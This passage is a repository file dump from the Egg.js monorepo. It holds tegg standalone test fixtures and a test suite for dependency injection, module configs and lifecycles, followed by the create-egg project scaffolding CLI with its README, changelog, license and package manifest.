    "content": "import {\n  ContextProto,\n  Inject,\n  SingletonProto,\n  ModuleConfigs,\n  type ModuleConfig,\n  ConfigSourceQualifier,\n} from '@eggjs/tegg';\nimport { Runner, type MainRunner } from '@eggjs/tegg/standalone';\n// import { ModuleConfig } from 'egg';\n\n@SingletonProto()\nexport class Hello {\n  hello() {\n    return 'hello!';\n  }\n}\n\n@ContextProto()\nexport class HelloContext {\n  hello() {\n    return 'hello from ctx';\n  }\n}\n\n@ContextProto()\n@Runner()\nexport class Foo implements MainRunner<object> {\n  @Inject()\n  moduleConfigs: ModuleConfigs;\n\n  @Inject()\n  moduleConfig: ModuleConfig;\n\n  @Inject({\n    name: 'moduleConfig',\n  })\n  @ConfigSourceQualifier('bar')\n  barModuleConfig: ModuleConfig;\n\n  async main(): Promise<object> {\n    return {\n      configs: this.moduleConfigs,\n      foo: this.moduleConfig,\n      bar: this.barModuleConfig,\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/multi-modules/foo/module.yml",
    "content": "features:\n  dynamic:\n    foo: 'bar'\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/multi-modules/foo/package.json",
    "content": "{\n  \"name\": \"foo\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"foo\"\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/optional-inject/bar.ts",
    "content": "import { Inject, SingletonProto, InjectOptional } from '@eggjs/tegg';\n\n@SingletonProto()\nexport class Bar {\n  constructor(\n    // @ts-ignore\n    @InjectOptional() readonly hello?: object,\n    // @ts-ignore\n    @Inject({ optional: true }) readonly world?: object,\n  ) {}\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/optional-inject/foo.ts",
    "content": "import { Inject, InjectOptional, SingletonProto } from '@eggjs/tegg';\nimport { Runner, type MainRunner } from '@eggjs/tegg/standalone';\n\nimport { Bar } from './bar.ts';\n\n@Runner()\n@SingletonProto()\nexport class Foo implements MainRunner<boolean> {\n  @Inject({ optional: true })\n  hello?: object;\n\n  @InjectOptional()\n  world?: object;\n\n  @Inject()\n  bar: Bar;\n\n  async main(): Promise<boolean> {\n    return !this.hello && !this.world && !this.bar.hello && !this.bar.world;\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/optional-inject/package.json",
    "content": "{\n  \"name\": \"optional-inject\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"optionalInject\"\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/runtime-config/foo.ts",
    "content": "import { Inject, SingletonProto, type RuntimeConfig } from '@eggjs/tegg';\nimport { Runner, type MainRunner } from '@eggjs/tegg/standalone';\n\n@Runner()\n@SingletonProto()\nexport class Foo implements MainRunner<RuntimeConfig> {\n  @Inject()\n  runtimeConfig: RuntimeConfig;\n\n  async main(): Promise<RuntimeConfig> {\n    return this.runtimeConfig;\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/runtime-config/package.json",
    "content": "{\n  \"name\": \"runtime-config\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"runtime-config\"\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/simple/foo.ts",
    "content": "import { ContextProto, Inject, SingletonProto } from '@eggjs/tegg';\nimport { Runner, type MainRunner } from '@eggjs/tegg/standalone';\n\n@SingletonProto()\nexport class Hello {\n  hello() {\n    return 'hello!';\n  }\n}\n\n@ContextProto()\nexport class HelloContext {\n  hello() {\n    return 'hello from ctx';\n  }\n}\n\n// @ContextProto()\n@SingletonProto()\n@Runner()\nexport class Foo implements MainRunner<string> {\n  @Inject()\n  hello: Hello;\n\n  @Inject()\n  helloContext: HelloContext;\n\n  async main(): Promise<string> {\n    return this.hello.hello() + this.helloContext.hello();\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/simple/package.json",
    "content": "{\n  \"name\": \"simple\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"simple\"\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/index.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport fs from 'node:fs/promises';\nimport path from 'node:path';\nimport { setTimeout as sleep } from 'node:timers/promises';\nimport { pathToFileURL } from 'node:url';\n\nimport { type ModuleConfig, ModuleConfigs, ModuleDescriptorDumper } from '@eggjs/tegg/helper';\nimport { importResolve } from '@eggjs/utils';\nimport { mm } from 'mm';\nimport { describe, it, afterEach, beforeEach } from 'vitest';\n\nimport { main, StandaloneContext, Runner, preLoad } from '../src/index.ts';\nimport { crosscutAdviceParams, pointcutAdviceParams } from './fixtures/aop-module/Hello.ts';\nimport { Foo } from './fixtures/dal-module/src/Foo.ts';\n\nconst __dirname = import.meta.dirname;\n\ndescribe('standalone/standalone/test/index.test.ts', () => {\n  describe('simple runner', () => {\n    const fixture = path.join(__dirname, './fixtures/simple');\n\n    beforeEach(() => {\n      mm.restore();\n      mm.spy(ModuleDescriptorDumper, 'dump');\n    });\n\n    it('should work', async () => {\n      const msg: string = await main(fixture);\n      assert.equal(msg, 'hello!hello from ctx');\n      await sleep(500);\n      assert.equal((ModuleDescriptorDumper.dump as any).called, 1);\n    });\n\n    it('should not dump', async () => {\n      await main(fixture, { dump: false });\n      await sleep(500);\n      assert.equal((ModuleDescriptorDumper.dump as any).called, undefined);\n    });\n  });\n\n  describe('runner with dependency', () => {\n    it('should work', async () => {\n      const msg: string = await main(path.join(__dirname, './fixtures/dependency'), {\n        dependencies: [path.join(__dirname, './fixtures/dependency/node_modules/dependency-1')],\n      });\n      // assert.equal(msg, 'hello!{\"features\":{\"dynamic\":{\"foo\":\"bar\"}}}');\n      assert.equal(msg, 'hello!{}');\n    });\n  });\n\n  describe('runner with inner object', () => {\n    it('should work', async () => {\n      const msg: string = await main(path.join(__dirname, './fixtures/inner-object'), {\n        innerObjectHandlers: {\n          hello: [\n            {\n              obj: {\n                hello() {\n                  return 'hello, inner';\n                },\n              },\n            },\n          ],\n        },\n      });\n      assert.equal(msg, 'hello, inner');\n    });\n  });\n\n  describe('runner with custom context', () => {\n    it('should work', async () => {\n      const runner = new Runner(path.join(__dirname, './fixtures/custom-context'));\n      await runner.init();\n      const ctx = new StandaloneContext();\n      ctx.set('foo', 'foo');\n      const msg = await runner.run(ctx);\n      await runner.destroy();\n      assert(msg === 'foo');\n    });\n  });\n\n  describe('module with config', () => {\n    it('should work', async () => {\n      const config = await main(path.join(__dirname, './fixtures/module-with-config'));\n      assert.deepEqual(config, {\n        features: {\n          dynamic: {\n            foo: 'bar',\n          },\n        },\n      });\n    });\n\n    it('should work with env', async () => {\n      const config = await main(path.join(__dirname, './fixtures/module-with-env-config'), {\n        env: 'dev',\n      });\n      assert.deepEqual(config, {\n        features: {\n          dynamic: {\n            foo: 'foo',\n          },\n        },\n      });\n    });\n\n    it('should empty config work', async () => {\n      const config = await main(path.join(__dirname, './fixtures/module-with-empty-config'));\n      assert.deepEqual(config, {});\n    });\n\n    it('should empty default config work', async () => {\n      const config = await main(path.join(__dirname, './fixtures/module-with-empty-default-config'), { env: 'dev' });\n      assert.deepEqual(config, {\n        features: {\n          dynamic: {\n            foo: 'foo',\n          },\n        },\n      });\n    });\n  });\n\n  describe('@ConfigSource qualifier', () => {\n    it('should work', async () => {\n      const { configs, foo, bar } = (await main(path.join(__dirname, './fixtures/multi-modules'))) as {\n        configs: ModuleConfigs;\n        foo: ModuleConfig;\n        bar: ModuleConfig;\n      };\n      assert.deepEqual(configs.get('foo'), foo);\n      assert.deepEqual(configs.get('bar'), bar);\n    });\n  });\n\n  describe('runner with runtimeConfig', () => {\n    it('should work', async () => {\n      const msg = await main(path.join(__dirname, './fixtures/runtime-config'));\n      assert.deepEqual(msg, {\n        baseDir: path.join(__dirname, './fixtures/runtime-config'),\n        env: undefined,\n        name: undefined,\n      });\n    });\n\n    it('should auto set name and env', async () => {\n      const msg = await main(path.join(__dirname, './fixtures/runtime-config'), {\n        name: 'foo',\n        env: 'unittest',\n      });\n      assert.deepEqual(msg, {\n        baseDir: path.join(__dirname, './fixtures/runtime-config'),\n        name: 'foo',\n        env: 'unittest',\n      });\n    });\n  });\n\n  describe('multi instance prototype runner', () => {\n    const fixturePath = path.join(__dirname, './fixtures/multi-callback-instance-module');\n    afterEach(async () => {\n      await fs.unlink(path.join(fixturePath, 'main', 'foo.log'));\n      await fs.unlink(path.join(fixturePath, 'main', 'bar.log'));\n      await fs.unlink(path.join(fixturePath, 'biz', 'fooBiz.log'));\n      await fs.unlink(path.join(fixturePath, 'biz', 'barBiz.log'));\n    });\n\n    it('should work', async () => {\n      await main(fixturePath);\n      const fooContent = await fs.readFile(path.join(fixturePath, 'main', 'foo.log'), 'utf8');\n      const barContent = await fs.readFile(path.join(fixturePath, 'main', 'bar.log'), 'utf8');\n      assert(fooContent.includes('hello, foo'));\n      assert(barContent.includes('hello, bar'));\n\n      const fooBizContent = await fs.readFile(path.join(fixturePath, 'biz', 'fooBiz.log'), 'utf8');\n      const barBizContent = await fs.readFile(path.join(fixturePath, 'biz', 'barBiz.log'), 'utf8');\n      assert(fooBizContent.includes('hello, foo biz'));\n      assert(barBizContent.includes('hello, bar biz'));\n    });\n  });\n\n  // EggPrototypeNotFound: [tegg/standalone] bootstrap tegg failed: Object eggObjectFactory not found in LOAD_UNIT:dynamicInjectModule\n  describe.skip('dynamic inject', () => {\n    const fixturePath = path.join(__dirname, './fixtures/dynamic-inject-module');\n\n    it('should work', async () => {\n      const msgs = await main(fixturePath, {\n        dependencies: [\n          {\n            baseDir: path.join(__dirname, '..'),\n            extraFilePattern: ['!**/test'],\n          },\n        ],\n      });\n      assert.deepEqual(msgs, [\n        'hello, foo(context:0)',\n        'hello, bar(context:0)',\n        'hello, foo(singleton:0)',\n        'hello, bar(singleton:0)',\n      ]);\n    });\n  });\n\n  describe('inject', () => {\n    it('should optional work', async () => {\n      const fixturePath = path.join(__dirname, './fixtures/optional-inject');\n      const nil = await main<boolean>(fixturePath);\n      assert.equal(nil, true);\n    });\n\n    it('should throw error if no proto found', async () => {\n      const fixturePath = path.join(__dirname, './fixtures/invalid-inject');\n      const runner = new Runner(fixturePath);\n      await assert.rejects(\n        runner.init(),\n        /EggPrototypeNotFound: Object doesNotExist not found in LOAD_UNIT:invalidInject/,\n      );\n      await runner.destroy();\n    });\n  });\n\n  describe('aop runtime', () => {\n    const fixturePath = path.join(__dirname, './fixtures/aop-module');\n\n    it('should work', async () => {\n      const msg = await main(fixturePath);\n      assert.deepEqual(\n        msg,\n        `withCrossAroundResult(withPointAroundResult(hello withPointAroundParam(withCrosscutAroundParam(aop))${JSON.stringify(pointcutAdviceParams)})${JSON.stringify(crosscutAdviceParams)})`,\n      );\n    });\n  });\n\n  describe('load', () => {\n    let runner: Runner;\n    afterEach(async () => {\n      if (runner) await runner.destroy();\n    });\n\n    it('should work', async () => {\n      runner = new Runner(path.join(__dirname, './fixtures/simple'));\n      await runner.init();\n      const loadunits = await runner.load();\n      for (const loadunit of loadunits) {\n        for (const proto of loadunit.iterateEggPrototype()) {\n          if (proto.id.match(/:hello$/)) {\n            assert.equal(proto.className, 'Hello');\n          } else if (proto.id.match(/:moduleConfigs$/)) {\n            assert.equal(proto.className, undefined);\n          } else if (proto.id.match(/:moduleConfig$/)) {\n            assert.equal(proto.className, undefined);\n          }\n        }\n      }\n    });\n\n    it('should work with multi', async () => {\n      runner = new Runner(path.join(__dirname, './fixtures/multi-callback-instance-module'));\n      await runner.init();\n      const loadunits = await runner.load();\n      for (const loadunit of loadunits) {\n        for (const proto of loadunit.iterateEggPrototype()) {\n          if (proto.id.match(/:dynamicLogger$/)) {\n            assert.equal(proto.className, 'DynamicLogger');\n          }\n        }\n      }\n    });\n  });\n\n  describe('dal runner', () => {\n    it('should work', async () => {\n      const foo: Foo = await main(path.join(__dirname, './fixtures/dal-module'), {\n        env: 'unittest',\n      });\n      assert(foo);\n      assert.equal(foo.col1, '2333');\n    });\n  });\n\n  describe('dal transaction runner', () => {\n    it('should work', async () => {\n      const foo: Array<Array<Foo>> = await main(path.join(__dirname, './fixtures/dal-transaction-module'), {\n        env: 'unittest',\n      });\n      // insert_succeed_transaction_1\n      assert.equal(foo[0].length, 1);\n      // insert_succeed_transaction_2\n      assert.equal(foo[1].length, 1);\n      // insert_failed_transaction_1\n      assert.equal(foo[2].length, 0);\n      // insert_failed_transaction_2\n      assert.equal(foo[3].length, 0);\n    });\n  });\n\n  describe('ajv runner', () => {\n    it('should throw AjvInvalidParamError', async () => {\n      await assert.rejects(\n        async () => {\n          await main<string>(path.join(__dirname, './fixtures/ajv-module'), {\n            dependencies: [path.dirname(importResolve('@eggjs/ajv-plugin/package.json'))],\n          });\n        },\n        (err: any) => {\n          assert.equal(err.name, 'AjvInvalidParamError', err.stack);\n          assert.equal(err.message, 'Validation Failed');\n          assert.deepEqual(err.errorData, {});\n          assert.deepEqual(JSON.parse(err.currentSchema), {\n            type: 'object',\n            required: ['fullname', 'skipDependencies'],\n            properties: {\n              fullname: { type: 'string', transform: ['trim'], maxLength: 100 },\n              skipDependencies: { type: 'boolean' },\n              registryName: { type: 'string' },\n            },\n          });\n          assert.deepEqual(err.errors, [\n            {\n              instancePath: '',\n              schemaPath: '#/required',\n              keyword: 'required',\n              params: {\n                missingProperty: 'fullname',\n              },\n              message: \"must have required property 'fullname'\",\n            },\n          ]);\n          return true;\n        },\n      );\n    });\n\n    it('should pass', async () => {\n      const result = await main<string>(path.join(__dirname, './fixtures/ajv-module-pass'), {\n        dependencies: [path.dirname(importResolve('@eggjs/ajv-plugin/package.json'))],\n      });\n      assert.equal(result, '{\"body\":{\"fullname\":\"mock fullname\",\"skipDependencies\":true,\"registryName\":\"ok\"}}');\n    });\n  });\n\n  describe('lifecycle', () => {\n    const fixturePath = path.join(__dirname, './fixtures/lifecycle');\n    let Foo: any;\n\n    beforeEach(async () => {\n      mm.restore();\n      mm.spy(ModuleDescriptorDumper, 'dump');\n      let fooPath = path.join(fixturePath, 'foo.ts');\n      if (process.platform === 'win32') {\n        fooPath = pathToFileURL(fooPath).toString();\n      }\n      Foo = await import(fooPath).then((m) => m.Foo);\n    });\n\n    it('should work', async () => {\n      await preLoad(fixturePath);\n      await main(fixturePath);\n      assert.deepEqual(Foo.staticCalled, ['preLoad', 'construct', 'postConstruct', 'preInject', 'postInject', 'init']);\n      assert.equal((ModuleDescriptorDumper.dump as any).called, 1);\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/standalone/standalone/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "tools/create-egg/.gitignore",
    "content": ""
  },
  {
    "path": "tools/create-egg/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n## 4.1.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\n## [3.0.0](https://github.com/eggjs/create-egg/compare/v2.0.1...v3.0.0) (2023-11-28)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 16 support\n\n### Features\n\n* use egg-init v3 ([#8](https://github.com/eggjs/create-egg/issues/8)) ([1709791](https://github.com/eggjs/create-egg/commit/1709791b14dd390692cf7047aaa52f1d6cefb268))\n\n2.0.1 / 2020-08-04\n==================\n\n**fixes**\n  * [[`7fd4d4b`](http://github.com/eggjs/create-egg/commit/7fd4d4bb0a5eccf47f2a5cc624cb4acff7431025)] - fix: npm publish files (#6) (TZ | 天猪 <<atian25@qq.com>>)\n\n2.0.0 / 2020-08-04\n==================\n\n**features**\n  * [[`08e69e2`](http://github.com/eggjs/create-egg/commit/08e69e22dbe309af648d01c46882415ac4ee785a)] - feat: update egg-init@2 (#5) (TZ | 天猪 <<atian25@qq.com>>),fatal: No names found, cannot describe anything.\n\n**others**\n\n\n1.0.0 / 2018-09-28\n==================\n\n  * feat: fist version (#1)\n  * feat: init\n"
  },
  {
    "path": "tools/create-egg/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2018-present Alibaba Group Holding Limited and other contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "tools/create-egg/README.md",
    "content": "# create-egg\n\n[![NPM version][npm-image]][npm-url]\n[![NPM download][download-image]][download-url]\n\n[npm-image]: https://img.shields.io/npm/v/create-egg.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/create-egg\n[download-image]: https://img.shields.io/npm/dm/create-egg.svg?style=flat-square\n[download-url]: https://npmjs.org/package/create-egg\n\n> Fork and refactor from [create-vite](https://github.com/vitejs/vite/tree/main/packages/create-vite)\n\n## Scaffolding Your First Egg.js Project\n\n> **Compatibility Note:**\n> Egg.js requires [Node.js](https://nodejs.org/) version 20.19+. However, some templates require a higher Node.js version to work, please upgrade if your package manager warns about it.\n\nWith NPM:\n\n```bash\nnpm create egg@latest\n```\n\nWith Yarn:\n\n```bash\nyarn create egg\n```\n\nWith PNPM:\n\n```bash\npnpm create egg\n```\n\nThen follow the prompts!\n\nYou can also directly specify the project name and the template you want to use via additional command line options. For example, to scaffold a Egg.js + TypeScript project, run:\n\n```bash\n# npm 7+\nnpm create egg@latest my-egg-app -- --template tegg\n\n# yarn\nyarn create egg my-egg-app --template tegg\n\n# pnpm\npnpm create egg my-egg-app --template tegg\n```\n\nCurrently supported template presets include:\n\n- `tegg`\n- `egg3-tegg`\n- `egg3-simple-js`\n\nYou can use `.` for the project name to scaffold in the current directory.\n\n## Community Templates\n\nCheck out Awesome Egg.js for [community maintained templates](https://github.com/eggjs/awesome-egg#boilerplates) that include other tools or target different frameworks. You can use a tool like [degit](https://github.com/Rich-Harris/degit) to scaffold your project with one of the templates.\n\n```bash\nnpx degit user/project my-project\ncd my-project\n\nnpm install\nnpm run dev\n```\n\nIf the project uses `main` as the default branch, suffix the project repo with `#main`\n\n```bash\nnpx degit user/project#main my-project\n```\n\n[MIT](LICENSE)\n"
  },
  {
    "path": "tools/create-egg/package.json",
    "content": "{\n  \"name\": \"create-egg\",\n  \"version\": \"4.1.2-beta.5\",\n  \"description\": \"Scaffolding Your First Egg.js Project\",\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tools/create-egg\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"TZ <atian25@qq.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tools/create-egg\"\n  },\n  \"bin\": {\n    \"create-egg\": \"./dist/cli.js\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./cli\": \"./src/cli.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./cli\": \"./dist/cli.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@clack/prompts\": \"catalog:\",\n    \"cross-spawn\": \"catalog:\",\n    \"mri\": \"catalog:\",\n    \"picocolors\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/tracer\": \"workspace:*\",\n    \"@types/cross-spawn\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"execa\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=20.19.0\"\n  }\n}\n"
  },
  {
    "path": "tools/create-egg/src/cli.ts",
    "content": "#!/usr/bin/env node\n\nimport { init } from './index.ts';\n\ninit().catch((err) => {\n  console.error('create egg failed', err);\n  process.exit(1);\n});\n"
  },
  {
    "path": "tools/create-egg/src/index.ts",
    "content": "import fs from 'node:fs';\nimport path from 'node:path';\n\nimport * as prompts from '@clack/prompts';\nimport spawn from 'cross-spawn';\nimport mri from 'mri';\nimport colors from 'picocolors';\n\nconst { blue, blueBright, green, greenBright, yellow } = colors;\n\nconst argv = mri<{\n  template?: string;\n  help?: boolean;\n  overwrite?: boolean;\n}>(process.argv.slice(2), {\n  alias: { h: 'help', t: 'template' },\n  boolean: ['help', 'overwrite'],\n  string: ['template'],\n});\nconst cwd = process.cwd();\n\n// prettier-ignore\nconst helpMessage = `\\\nUsage: create-egg [OPTION]... [DIRECTORY]\n\nCreate a new Egg.js project.\nWith no arguments, start the CLI in interactive mode.\n\nOptions:\n  -t, --template NAME        use a specific template\n\nAvailable templates:\n${green('tegg')}                         egg@4 with tegg module\n${blue('simple-ts')}                    egg@4 with vanilla TypeScript\n${green('egg3-tegg')}                    egg@3 with tegg module\n${blue('egg3-simple-ts')}               egg@3 with vanilla TypeScript\n${yellow('egg3-simple-js')}               egg@3 with vanilla JavaScript\n`;\n\ntype ColorFunc = (str: string | number) => string;\ntype Template = {\n  name: string;\n  display: string;\n  color: ColorFunc;\n  customCommand?: string;\n};\n\nconst TEMPLATES: Template[] = [\n  {\n    name: 'tegg',\n    display: 'Tegg starter, egg@4 with tegg module',\n    color: green,\n  },\n  {\n    name: 'simple-ts',\n    display: 'Simple starter, egg@4 with vanilla TypeScript',\n    color: blue,\n  },\n  {\n    name: 'egg3-tegg',\n    display: 'Tegg starter, egg@3 with tegg module',\n    color: green,\n  },\n  {\n    name: 'egg3-simple-ts',\n    display: 'Simple starter, egg@3 with vanilla TypeScript',\n    color: blue,\n  },\n  {\n    name: 'egg3-simple-js',\n    display: 'Simple starter, egg@3 with vanilla JavaScript',\n    color: yellow,\n  },\n];\n\nconst defaultTargetDir = 'egg-project';\n\nexport async function init(): Promise<void> {\n  const argTargetDir = argv._[0] ? formatTargetDir(String(argv._[0])) : undefined;\n  const argTemplate = argv.template;\n  const argOverwrite = argv.overwrite;\n\n  const help = argv.help;\n  if (help) {\n    console.log(helpMessage);\n    return;\n  }\n\n  const pkgInfo = pkgFromUserAgent(process.env.npm_config_user_agent);\n  const cancel = () => prompts.cancel('Operation cancelled');\n\n  prompts.intro(`${greenBright('Egg.js')} - Born to build better enterprise application and framework`);\n\n  // 1. Get project name and target dir\n  let targetDir = argTargetDir;\n  if (!targetDir) {\n    const projectName = await prompts.text({\n      message: 'Project name:',\n      defaultValue: defaultTargetDir,\n      placeholder: defaultTargetDir,\n      validate: (value) => {\n        return value.length === 0 || formatTargetDir(value).length > 0 ? undefined : 'Invalid project name';\n      },\n    });\n    if (prompts.isCancel(projectName)) return cancel();\n    targetDir = formatTargetDir(projectName);\n  }\n\n  // 2. Handle directory if exist and not empty\n  if (fs.existsSync(targetDir) && !isEmpty(targetDir)) {\n    const overwrite = argOverwrite\n      ? 'yes'\n      : await prompts.select({\n          message:\n            (targetDir === '.' ? 'Current directory' : `Target directory \"${targetDir}\"`) +\n            ` is not empty. Please choose how to proceed:`,\n          options: [\n            {\n              label: 'Cancel operation',\n              value: 'no',\n            },\n            {\n              label: 'Remove existing files and continue',\n              value: 'yes',\n            },\n            {\n              label: 'Ignore files and continue',\n              value: 'ignore',\n            },\n          ],\n        });\n    if (prompts.isCancel(overwrite)) return cancel();\n    switch (overwrite) {\n      case 'yes':\n        emptyDir(targetDir);\n        break;\n      case 'no':\n        cancel();\n        return;\n    }\n  }\n\n  // 3. Get package name\n  let packageName = path.basename(path.resolve(targetDir));\n  if (!isValidPackageName(packageName)) {\n    const packageNameResult = await prompts.text({\n      message: 'Package name:',\n      defaultValue: toValidPackageName(packageName),\n      placeholder: toValidPackageName(packageName),\n      validate(dir) {\n        if (!isValidPackageName(dir)) {\n          return 'Invalid package.json name';\n        }\n      },\n    });\n    if (prompts.isCancel(packageNameResult)) return cancel();\n    packageName = packageNameResult;\n  }\n\n  // 4. Choose a template\n  let template = argTemplate;\n  let hasInvalidArgTemplate = false;\n  if (argTemplate && !TEMPLATES.some((t) => t.name === argTemplate)) {\n    template = undefined;\n    hasInvalidArgTemplate = true;\n  }\n  if (!template) {\n    const selectedTemplate = await prompts.select({\n      message: hasInvalidArgTemplate\n        ? `\"${argTemplate}\" isn't a valid template. Please choose from below: `\n        : 'Select a template:',\n      options: TEMPLATES.map((template) => {\n        const templateColor = template.color;\n        return {\n          label: templateColor(template.display || template.name),\n          value: template.name,\n        };\n      }),\n    });\n    if (prompts.isCancel(selectedTemplate)) return cancel();\n\n    template = selectedTemplate;\n  }\n\n  const root = path.join(cwd, targetDir);\n  fs.mkdirSync(root, { recursive: true });\n\n  const pkgManager = pkgInfo ? pkgInfo.name : 'npm';\n\n  const { customCommand } = TEMPLATES.find((t) => t.name === template) ?? {};\n\n  if (customCommand) {\n    const fullCustomCommand = getFullCustomCommand(customCommand, pkgInfo);\n\n    const [command, ...args] = fullCustomCommand.split(' ');\n    // we replace TARGET_DIR here because targetDir may include a space\n    const replacedArgs = args.map((arg) => arg.replace('TARGET_DIR', () => targetDir));\n    const { status } = spawn.sync(command, replacedArgs, {\n      stdio: 'inherit',\n    });\n    process.exit(status ?? 0);\n  }\n\n  prompts.log.step(`Scaffolding project with ${blueBright(template)} in ${root}...`);\n\n  const templateDir = path.join(import.meta.dirname, `templates/${template}`);\n\n  const write = (file: string, content?: string) => {\n    const targetPath = path.join(root, file.startsWith('_') ? file.slice(1) : file);\n    if (content) {\n      fs.writeFileSync(targetPath, content);\n    } else {\n      copy(path.join(templateDir, file), targetPath);\n    }\n  };\n\n  const files = fs.readdirSync(templateDir);\n  for (const file of files.filter((f) => f !== 'package.json')) {\n    write(file);\n  }\n\n  let pkgJsonContent = fs.readFileSync(path.join(templateDir, `package.json`), 'utf-8');\n  pkgJsonContent = pkgJsonContent.replaceAll('{{name}}', packageName);\n  const pkg = JSON.parse(pkgJsonContent);\n\n  // set packageManager\n  if (pkgInfo) {\n    pkg.packageManager = `${pkgInfo.name}@${pkgInfo.version}`;\n  }\n\n  write('package.json', JSON.stringify(pkg, null, 2) + '\\n');\n\n  const cdProjectName = path.relative(cwd, root);\n\n  // 5. Run git init if user choose to run git init\n  const runGitInit = await prompts.confirm({\n    message: 'Initialize git repository?',\n    initialValue: true,\n  });\n  if (runGitInit) {\n    spawn.sync('git', ['init', cdProjectName], { stdio: 'pipe' });\n    prompts.log.success('Git repository initialized');\n  }\n\n  let doneMessage = '';\n  doneMessage += `Done. Now run:\\n`;\n  if (root !== cwd) {\n    doneMessage += `\\n  cd ${cdProjectName.includes(' ') ? `\"${cdProjectName}\"` : cdProjectName}`;\n  }\n  switch (pkgManager) {\n    case 'yarn':\n      doneMessage += '\\n  yarn';\n      doneMessage += '\\n  yarn dev';\n      break;\n    default:\n      doneMessage += `\\n  ${pkgManager} install`;\n      doneMessage += `\\n  ${pkgManager} run dev`;\n      break;\n  }\n  prompts.outro(greenBright(doneMessage));\n}\n\nfunction formatTargetDir(targetDir: string) {\n  return targetDir.trim().replace(/\\/+$/g, '');\n}\n\nfunction copy(src: string, dest: string) {\n  const stat = fs.statSync(src);\n  if (stat.isDirectory()) {\n    copyDir(src, dest);\n  } else {\n    fs.copyFileSync(src, dest);\n  }\n}\n\nfunction isValidPackageName(projectName: string) {\n  return /^(?:@[a-z\\d\\-*~][a-z\\d\\-*._~]*\\/)?[a-z\\d\\-~][a-z\\d\\-._~]*$/.test(projectName);\n}\n\nfunction toValidPackageName(projectName: string) {\n  return projectName\n    .trim()\n    .toLowerCase()\n    .replace(/\\s+/g, '-')\n    .replace(/^[._]/, '')\n    .replace(/[^a-z\\d\\-~]+/g, '-');\n}\n\nfunction copyDir(srcDir: string, destDir: string) {\n  fs.mkdirSync(destDir, { recursive: true });\n  for (const file of fs.readdirSync(srcDir)) {\n    const srcFile = path.resolve(srcDir, file);\n    const destFile = path.resolve(destDir, file);\n    copy(srcFile, destFile);\n  }\n}\n\nfunction isEmpty(path: string) {\n  const files = fs.readdirSync(path);\n  return files.length === 0 || (files.length === 1 && files[0] === '.git');\n}\n\nfunction emptyDir(dir: string) {\n  if (!fs.existsSync(dir)) {\n    return;\n  }\n  for (const file of fs.readdirSync(dir)) {\n    if (file === '.git') {\n      continue;\n    